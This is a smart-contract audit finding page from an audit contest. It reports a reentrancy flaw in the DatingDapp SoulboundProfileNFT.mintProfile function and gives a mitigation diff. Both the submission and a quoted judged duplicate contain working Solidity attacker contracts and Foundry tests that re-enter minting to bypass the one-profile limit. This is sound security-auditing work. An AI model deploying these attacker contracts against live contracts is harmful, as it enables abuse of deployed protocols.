DatingDapp

AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

[H-03] `mintProfile` Reentrancy via `_safeMint` Callback — Unlimited Soulbound NFT

[H-03] mintProfile Reentrancy via _safeMint Callback — Unlimited Soulbound NFT Minting

Scope

  • SoulboundProfileNFT.sol

Description

The mintProfile() function uses OZ v5's _safeMint(), which triggers an onERC721Received callback to the recipient. At callback time, profileToToken[msg.sender] has NOT yet been set (line 38 executes AFTER _safeMint on line 34). An attacker contract can re-enter mintProfile() from the callback, and the dup-check require(profileToToken[msg.sender] == 0) passes because profileToToken hasn't been written yet.

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
@> _safeMint(msg.sender, tokenId); // CALLBACK HERE - profileToToken still 0!
_profiles[tokenId] = Profile(name, age, profileImage);
@> profileToToken[msg.sender] = tokenId; // Set AFTER callback — too late
}

Risk

Likelihood: Medium

  • Requires attacker to deploy a contract implementing onERC721Received. This is a well-known attack pattern that any moderately skilled attacker can execute.

Impact: High

  • Breaks the one-profile-per-address invariant. Attacker mints unlimited soulbound NFTs. Only the last token ID is tracked in profileToToken; earlier tokens become phantom (owned but untracked). Can bypass profile-gated mechanisms or grief the system.

Severity: High

  • SWC: SWC-107 (Reentrancy)

  • CWE: CWE-841 (Improper Enforcement of Behavioral Workflow)

  • Evidence Grade: A

Proof of Concept

An attacker contract implements onERC721Received to re-enter mintProfile(). The callback fires before profileToToken is set, so the guard passes. The attacker mints 3 NFTs in a single transaction.

contract MintReentrancyAttacker {
SoulboundProfileNFT public nft;
uint256 public mintCount;
uint256 public maxMints;
constructor(address _nft, uint256 _maxMints) {
nft = SoulboundProfileNFT(_nft);
maxMints = _maxMints;
}
function attack() external {
nft.mintProfile("Attacker", 25, "ipfs://attacker");
}
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
mintCount++;
if (mintCount < maxMints) {
nft.mintProfile("Attacker-Reentrant", 25, "ipfs://reentrant");
}
return this.onERC721Received.selector;
}
}
function test_FINDING005_mintProfile_reentrancy() public {
MintReentrancyAttacker attacker = new MintReentrancyAttacker(address(nft), 3);
attacker.attack();
assertGt(nft.balanceOf(address(attacker)), 1, "Multiple mints via reentrancy");
}

forge test --match-test test_FINDING005_mintProfile_reentrancy -vvvvPASS

Recommended Mitigation

Set profileToToken and _profiles BEFORE the external _safeMint call. This follows the Checks-Effects-Interactions pattern and ensures the dup-check guard works during reentrancy.

uint256 tokenId = ++_nextTokenId;
+profileToToken[msg.sender] = tokenId;
+_profiles[tokenId] = Profile(name, age, profileImage);
_safeMint(msg.sender, tokenId);
-_profiles[tokenId] = Profile(name, age, profileImage);
-profileToToken[msg.sender] = tokenId;
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-04] Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations

## Description In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation. Source Code: ```solidity function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ``` ## Vulnerability Details Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs: ```solidity function testReentrancyMultipleNft() public { MaliciousContract maliciousContract = new MaliciousContract( address(soulboundNFT) ); vm.prank(address(maliciousContract)); MaliciousContract(maliciousContract).attack(); assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2); assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1); } ``` ```Solidity contract MaliciousContract { SoulboundProfileNFT soulboundNFT; uint256 counter; constructor(address _soulboundNFT) { soulboundNFT = SoulboundProfileNFT(_soulboundNFT); } // Malicious reentrancy attack function attack() external { soulboundNFT.mintProfile("Evil", 99, "malicious.png"); } // Malicious onERC721Received function function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Reenter the mintProfile function if (counter == 0) { counter++; soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png"); } return 0x150b7a02; } } ``` ## Impact The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint. I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. ## Recommendations To follow CEI properly, move `_safeMint` to the end: ```diff function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; - _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; + _safeMint(msg.sender, tokenId); emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!